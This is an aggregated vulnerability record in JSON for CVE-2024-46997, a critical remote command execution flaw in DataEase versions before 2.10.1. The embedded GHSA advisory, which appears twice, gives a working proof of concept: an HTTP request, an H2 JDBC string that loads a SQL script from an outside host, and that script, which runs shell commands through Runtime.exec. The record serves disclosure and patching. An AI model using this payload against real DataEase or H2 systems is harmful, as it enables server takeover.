{"id":"CVE-2024-46997","aliases":["EUVD-2024-2809","GHSA-h7mj-m72h-qm8w"],"status":"published","title":"DataEase's H2 datasource has a remote command execution risk","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01442,"percentile":0.73404,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-74"],"published":"2024-09-23T15:14:26Z","modified":"2026-10-28T02:31:02Z","fixes":[{"ecosystem":"Maven","package":"io.dataease:common","fixed_in":["2.10.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.dataease:common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.10.0"},{"fixed":"2.10.1"}]}]},{"source":"osv","ecosystem":"Maven","package":"io.dataease:common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1"}]}]}],"products":[{"vendor":"dataease","product":"dataease"}],"references":[{"url":"https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-46997","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h7mj-m72h-qm8w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/46xxx/CVE-2024-46997.json","tags":["advisory"]},{"url":"https://github.com/dataease/dataease","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-46997","title":"DataEase's H2 datasource has a remote command execution risk","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.","status":"published","published":"2024-09-23T15:14:26.55Z","modified":"2024-09-23T15:43:39.577Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:34:08.500935Z"}],"euvd":[{"id":"EUVD-2024-2809","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.","status":"published","published":"2024-09-23T15:14:26Z","modified":"2024-09-23T15:43:39Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:28:16.94122Z"}],"ghsa":[{"id":"GHSA-h7mj-m72h-qm8w","title":"DataEase's H2 datasource has a remote command execution risk","description":"### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n    \"id\": \"\",\n    \"name\": \"test\",\n    \"type\": \"h2\",\n    \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n    \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: \u003c= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n","status":"published","published":"2024-09-23T20:27:11Z","modified":"2024-09-23T20:27:12Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:38:05.526697Z"}],"nvd":[{"id":"CVE-2024-46997","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.","status":"published","published":"2024-09-23T16:15:06.387Z","modified":"2026-06-17T07:56:20.267Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:10:27.456509Z"}],"osv":[{"id":"CVE-2024-46997","title":"DataEase's H2 datasource has a remote command execution risk","description":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.","status":"published","published":"2024-09-23T15:14:26.55Z","modified":"2026-10-28T02:31:02.09152002Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:44:43.253252Z"},{"id":"GHSA-h7mj-m72h-qm8w","title":"DataEase's H2 datasource has a remote command execution risk","description":"### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n    \"id\": \"\",\n    \"name\": \"test\",\n    \"type\": \"h2\",\n    \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n    \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: \u003c= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n","status":"published","published":"2024-09-23T20:27:11Z","modified":"2024-09-23T21:12:33.098191Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}